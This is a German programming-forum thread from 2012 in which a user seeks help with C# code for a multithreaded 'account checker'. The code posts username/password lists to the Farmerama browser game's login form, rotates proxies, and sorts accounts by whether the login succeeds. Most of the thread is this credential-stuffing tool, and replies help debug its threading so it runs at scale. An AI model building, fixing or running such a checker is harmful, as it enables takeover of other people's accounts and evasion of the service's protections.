Brwosergame Login per Httpwebrequest mit Threads

11/18/2012 14:47 master_oli#1
Ich brauche hilfe:)
Ich habe schon alles mögliche versucht aber es geht einfach nciht:(

Ich möchte einen kleine Account checker schreiben für eine Brwosergame.

Mit Thread´s hier der Code
Code:
private void button1_Click(object sender, EventArgs e)
        {
            button1.Enabled = false;

            button2.Enabled = true;
            checkerThread = new Thread[Convert.ToInt32(30)];
            isRunning = true;
            for (int i = 0; i <= Convert.ToInt32(30) - 1; i++)
            {
                int input = i;
string  usernmae = FarmView.Items[Usernmaeanzahl].SubItems[0].Text.ToString();
                        string pw = FarmView.Items[Usernmaeanzahl].SubItems[1].Text.ToString();
                    string input = usernmae  + ":" + pw;
                checkerThread[i] = new Thread(new ParameterizedThreadStart(FarmChecking));
                checkerThread[i].Start(input);
            }
        }


        private void updateApplication(string status)
        {
            richTextBox1.Text += status;
        }


       private void FarmChecking(object Index)
        {
            while (isRunning)
            {
                try
                {
                    if (richTextBox1.InvokeRequired)
                        richTextBox1.Invoke(new updateApplicationDel(updateApplication), "JA");
                    else
                        richTextBox1.Text = "JA";

                    string ocolto = Index.ToString();
                    string usernmae = ocolto.Split(':')[0].ToString();
                    string pw = ocolto.Split(':')[1].ToString();
                    CookieContainer cookieContainer = new CookieContainer();
                    string loginData = "loginForm_default_username=" + usernmae + "&loginForm_default_password=" + pw + "&loginForm_default_login_submit=Login";
                    ASCIIEncoding encoding = new ASCIIEncoding();
                    byte[] data = Encoding.UTF8.GetBytes(loginData);

                    HttpWebRequest myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/?locale=de&aid=215&aip=famarama&acr=171");
                    myRequest.Method = "POST";
                    myRequest.Host = "farmerama.bigpoint.com";
                    myRequest.Referer = "http://farmerama.bigpoint.com/?locale=de&aid=215&aip=famarama&acr=171";
                    myRequest.CookieContainer = cookieContainer;
                    myRequest.ServicePoint.Expect100Continue = false;
                    myRequest.UserAgent = "UMozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/19.0 Firefox/19.0";
                    myRequest.ContentType = "application/x-www-form-urlencoded";
                    myRequest.ContentLength = data.Length;
                    Stream newStream = myRequest.GetRequestStream();
                    newStream.Write(data, 0, data.Length);
                    newStream.Close();
                    HttpWebResponse myRes = (HttpWebResponse)myRequest.GetResponse();

                    myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/?action=internalGame");
                    myRequest.CookieContainer = cookieContainer;
                    myRequest.Method = "GET";
                    myRes = (HttpWebResponse)myRequest.GetResponse();
                    StreamReader srs = new StreamReader(myRes.GetResponseStream());



                    string html = srs.ReadToEnd();
                    Htmlüberprüfen(html, usernmae, pw);
                }

                catch
                {
                }
            }

        }


        private void button2_Click(object sender, EventArgs e)
        {
            button1.Enabled = true;
            button2.Enabled = false;
            isRunning = false;

            for (int i = 0; i <= Convert.ToInt32(30) - 1; i++)
            {
                checkerThread[i].Abort();
            }
        }


        private void Htmlüberprüfen(string html, string username, string pw)
        {
            if (html.Contains(username))
            {
                ListViewItem item1 = new ListViewItem();
                item1.Text = username;
                item1.SubItems.Add(pw);
                Farmenview.Items.Add(item1);
            }
            else
            {
                ListViewItem item1 = new ListViewItem();
                item1.Text = username;
                item1.SubItems.Add(pw);
                Farmenviewnicht.Items.Add(item1);
            }

        }
leider funktioniert das ganz nicht:(
warum eigentlich?

Wenn ich das per Butten mache
Code:
string loginData = "loginForm_default_username=" + Username " + &loginForm_default_password=" + Passwort + "&loginForm_default_login_submit=Login";
                    ASCIIEncoding encoding = new ASCIIEncoding();
                    byte[] data = Encoding.UTF8.GetBytes(loginData);

                    HttpWebRequest myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/?locale=de&aid=215&aip=famarama&acr=171");
                    myRequest.Method = "POST";
                    myRequest.Host = "farmerama.bigpoint.com";
                    myRequest.Referer = "http://farmerama.bigpoint.com/?locale=de&aid=215&aip=famarama&acr=171";
                    myRequest.CookieContainer = cookieContainer;
                    myRequest.ServicePoint.Expect100Continue = false;
                    myRequest.UserAgent = "UMozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/19.0 Firefox/19.0";
                    myRequest.ContentType = "application/x-www-form-urlencoded";
                    myRequest.ContentLength = data.Length;
                    Stream newStream = myRequest.GetRequestStream();
                    newStream.Write(data, 0, data.Length);
                    newStream.Close();
                    HttpWebResponse myRes = (HttpWebResponse)myRequest.GetResponse();

                    myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/?action=internalGame");
                    myRequest.CookieContainer = cookieContainer;
                    myRequest.Method = "GET";
                    myRes = (HttpWebResponse)myRequest.GetResponse();
                    StreamReader srs = new StreamReader(myRes.GetResponseStream());
                    string html = srs.ReadToEnd();
                    if (html.Contains(Username))
                    {
                        richTextBox1.Text += "Eingelogt Passwort = " + Passwort;
                        Eingelogt = true;
                        button2.Enabled = false;
                        button1.Enabled = true;
                        anzahl = 0;
                    }
                    else
                    {
                        richTextBox1.Text += "Nicht Eingelogt Passwort = " + Passwort + "\r\n";
                        anzahl++;
                        
                    }
                    myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/index.php?action=externalLogout");
                    myRequest.CookieContainer = cookieContainer;
                    myRequest.Method = "GET";
                    myRes = (HttpWebResponse)myRequest.GetResponse();
                    Application.DoEvents();
dann sagt er mir das ich eingelogt bin aber per Thread funktioniert das ganz leider nicht.

Es gibt leider keine fehler:( sonst könnte ich vieleicht es selber lösen;)

Er postet einfach nicht:(

Kann mir da jemand weiter helfen?
Danke schon mal
11/18/2012 15:32 Kraizy​#2
CheckForIllegalCrossThreadCalls entfernen und nach invoke/delegate googlen
11/19/2012 06:51 master_oli#3
wie kann ich delegate benutzen?
habe mal diese hier verscuht aber es kommt immer dieser fehler

Quote:
Ungültiger threadübergreifender Vorgang: Der Zugriff auf das Steuerelement Proxyview erfolgte von einem anderen Thread als dem Thread, für den es erstellt wurde.
Code:
public delegate string SimpleDelegate(string a , string b);

private void button1_Click(object sender, EventArgs e)
        {
            Form1 ff = new Form1();
            SimpleDelegate add = new SimpleDelegate(ff.proxys);
            button1.Enabled = false;
            button2.Enabled = true;
            eingelgot = false;
            checkerThread = new Thread[Convert.ToInt32(30)];
            isRunning = true;
            Proxyanzahl = 0;
            for (int i = 0; i <= Convert.ToInt32(30) - 1; i++)
            {
                int input = i;
                checkerThread[i] = new Thread(new ParameterizedThreadStart(FarmChecking));
                checkerThread[i].Start(input);
            }
        }

public string proxys(string a , string b)
        {
            return a + ":" + b.ToUpper();
        }

private void FarmChecking(object Index)
        {
            while (isRunning)
            {
                if (eingelgot == true)
                {
                    checkerThread[(int)Index].Abort();
                }
                try
                {
                    
                    Proxyanzahl++;
                    CookieContainer cookieContainer = new CookieContainer();
                    
      //hier ist der fehler//              string Proxy = proxys(Proxyview.Items[Proxyanzahl].SubItems[0].Text.ToString(), Proxyview.Items[Proxyanzahl].SubItems[1].Text.ToString());
                    ...................
11/19/2012 12:03 Kraizy​#4
Ja, du kannst eben nicht einfach von einem anderen Thread direkt auf deine Controls (in diesem Fall 'Proxyview') zugreifen.

[Only registered and activated users can see links. Click Here To Register...]

Du kannst aber auch deine Proxies einfach deiner Methode übergeben, den object Parameter gibt es ja nicht umsonst.

Achja, Thread.Abort() würde ich dir nicht unbedingt empfehlen zu nutzen, normalerweise/am besten lässt man einen Thread "auslaufen".
11/19/2012 16:51 master_oli#5
so ja jetzt funktioniert es wenn ich es übergebe aber ich habe mal soetwas laufen lassen
Code:
if (richTextBox1.InvokeRequired)
                        richTextBox1.Invoke(new updateApplicationDel(updateApplication), "JA");
                    else
                        richTextBox1.Text = "JA";
nur mal so um zu überprüfen was er macht;)
Aber ich habe gemerkt nach dem Start also nachdem jeder Thread einaml das Ja in die richTextBox1 eingetragen hat macht er nichts mehr:(
Warum eigentlich?
Ich habe doch eine entlos schleife die eigentlich erst unterbrochen werden soll wenn ich auf Butten2 Click:(

was ist dort jetzt das Porblem?
Habe es oben geändert;)
11/20/2012 12:18 Kraizy​#6
Ich versteh nicht genau, wieso du überhaupt eine while Schleife nutzt. So wie ich das verstanden habe, willst du doch deine Accounts auf Gültigkeit prüfen und nutzt Multithreading, um mehrere Accounts zur gleichen Zeit zu überprüfen. Dann starte doch einfach pro Account einen neuen Thread und in diesem prüfst du einfach einmal, ob ein Login möglich ist oder auch nicht (und dann jenachdem in die jeweilige ListView eintragen) - aber die while Schleife ist da irgendwie sinnlos, weil wenn die Logindaten falsch sind, dann bleiben die doch auch falsch und werden nicht nach dem 10. Loginversuch plötzlich richtig sein.
11/24/2012 11:42 dasschild#7
Wofür wurden async Funktionen zu den Klassen hinzugefügt?????

[Only registered and activated users can see links. Click Here To Register...]

[Only registered and activated users can see links. Click Here To Register...]